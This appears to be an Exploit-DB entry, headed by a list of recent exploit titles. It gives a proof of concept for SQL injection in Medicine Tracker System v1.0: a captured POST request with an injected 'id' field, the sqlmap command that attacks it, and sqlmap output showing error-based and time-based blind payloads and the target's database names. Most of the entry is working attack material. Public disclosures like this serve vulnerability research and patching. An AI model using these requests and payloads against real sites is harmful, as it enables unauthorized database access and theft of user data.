85954a8fad
34 changes to exploits/shellcodes/ghdb ENTAB ERP 1.0 - Username PII leak ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS) FortiRecorder 6.4.3 - Denial of Service Schneider Electric v1.0 - Directory traversal & Broken Authentication Altenergy Power Control Software C1.2.5 - OS command injection Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated) Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu) Lucee Scheduled Job v1.0 - Command Execution Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE) Adobe Connect 11.4.5 - Local File Disclosure Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS) Suprema BioStar 2 v2.8.16 - SQL Injection Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS) dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated) GLPI v10.0.1 - Unauthenticated Sensitive Data Exposure Icinga Web 2.10 - Arbitrary File Disclosure Joomla! v4.2.8 - Unauthenticated information disclosure Medicine Tracker System v1.0 - Sql Injection Online Appointment System V1.0 - Cross-Site Scripting (XSS) Online-Pizza-Ordering -1.0 - Remote Code Execution (RCE) pfsenseCE v2.6.0 - Anti-brute force protection bypass Restaurant Management System 1.0 - SQL Injection WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS) X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated) X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated) Microsoft Windows 11 - 'cmd.exe' Denial of Service ActFax 10.10 - Unquoted Path Services ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation
126 lines
No EOL
4.3 KiB
Text
126 lines
No EOL
4.3 KiB
Text
# Exploit Title: Medicine Tracker System v1.0 - Sql Injection
|
|
# Exploit Author: Sanjay Singh
|
|
# Vendor Homepage: https://www.sourcecodester.com
|
|
# Software Link:
|
|
https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-mts_0.zip
|
|
# Version: V1.0.0
|
|
# Tested on: Windows/Linux
|
|
|
|
|
|
# Proof of Concept:
|
|
# 1- http://localhost/php-mts/app/login.php
|
|
# 2- login with default credential
|
|
# 3- Click left side Manage account and fill Update User Details and click update account
|
|
# 4- Capture request using burp suite
|
|
# 5- Save request request.txt
|
|
|
|
|
|
Sqlmap
|
|
|
|
POST /php-mts/classes/Users.php?f=save_user HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 661
|
|
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeOo3CzyRX6fHexZx
|
|
X-Requested-With: XMLHttpRequest
|
|
sec-ch-ua-mobile: ?0
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
|
|
sec-ch-ua-platform: "Windows"
|
|
Origin: http://localhost
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Dest: empty
|
|
Referer: http://localhost/php-mts/app/?page=manage_account
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: PHPSESSID=ocj11iinu8pn536i3cdia0faql
|
|
Connection: close
|
|
|
|
------WebKitFormBoundaryeOo3CzyRX6fHexZx
|
|
Content-Disposition: form-data; name="id"
|
|
|
|
1'-'
|
|
------WebKitFormBoundaryeOo3CzyRX6fHexZx
|
|
Content-Disposition: form-data; name="firstname"
|
|
|
|
gogo
|
|
------WebKitFormBoundaryeOo3CzyRX6fHexZx
|
|
Content-Disposition: form-data; name="middlename"
|
|
|
|
ogo
|
|
------WebKitFormBoundaryeOo3CzyRX6fHexZx
|
|
Content-Disposition: form-data; name="lastname"
|
|
|
|
singh
|
|
------WebKitFormBoundaryeOo3CzyRX6fHexZx
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
mayuri.infospace@gmail.com
|
|
------WebKitFormBoundaryeOo3CzyRX6fHexZx
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
12345678
|
|
------WebKitFormBoundaryeOo3CzyRX6fHexZx--
|
|
|
|
|
|
|
|
|
|
|
|
sqlmap
|
|
|
|
sqlmap -r request.txt -p "id" --dbs --batch
|
|
___
|
|
__H__
|
|
___ ___["]_____ ___ ___ {1.6.12#stable}
|
|
|_ -| . ['] | .'| . |
|
|
|___|_ [(]_|_|_|__,| _|
|
|
|_|V... |_| https://sqlmap.org
|
|
|
|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
|
|
|
|
[*] starting @ 13:18:01 /2023-03-21/
|
|
|
|
[13:18:01] [INFO] parsing HTTP request from 'request.txt'
|
|
it appears that provided value for POST parameter 'id' has boundaries. Do you want to inject inside? ('' or true*--') [y/N] N
|
|
[13:18:01] [INFO] resuming back-end DBMS 'mysql'
|
|
[13:18:01] [INFO] testing connection to the target URL
|
|
[13:18:01] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
|
|
sqlmap resumed the following injection point(s) from stored session:
|
|
---
|
|
Parameter: id (POST)
|
|
Type: error-based
|
|
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
|
|
Payload: id=' or true AND (SELECT 3138 FROM(SELECT COUNT(*),CONCAT(0x7178787171,(SELECT (ELT(3138=3138,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- mDhI--&name=para&description=ss
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: id=' or true AND (SELECT 8994 FROM (SELECT(SLEEP(5)))doso)-- HjCh--&name=para&description=ss
|
|
---
|
|
[13:18:01] [INFO] the back-end DBMS is MySQL
|
|
web application technology: Apache 2.4.54, PHP 8.0.25
|
|
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
|
|
[13:18:01] [INFO] fetching database names
|
|
[13:18:01] [INFO] resumed: 'information_schema'
|
|
[13:18:01] [INFO] resumed: 'art_gallery'
|
|
[13:18:01] [INFO] resumed: 'hcpms'
|
|
[13:18:01] [INFO] resumed: 'mts_db'
|
|
[13:18:01] [INFO] resumed: 'mysql'
|
|
[13:18:01] [INFO] resumed: 'performance_schema'
|
|
[13:18:01] [INFO] resumed: 'phpmyadmin'
|
|
[13:18:01] [INFO] resumed: 'sscdms_db'
|
|
[13:18:01] [INFO] resumed: 'test'
|
|
available databases [9]:
|
|
[*] art_gallery
|
|
[*] hcpms
|
|
[*] information_schema
|
|
[*] mts_db
|
|
[*] mysql
|
|
[*] performance_schema
|
|
[*] phpmyadmin
|
|
[*] sscdms_db
|
|
[*] test
|
|
|
|
[13:18:01] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.1.2'
|
|
|
|
[*] ending @ 13:18:01 /2023-03-21/ |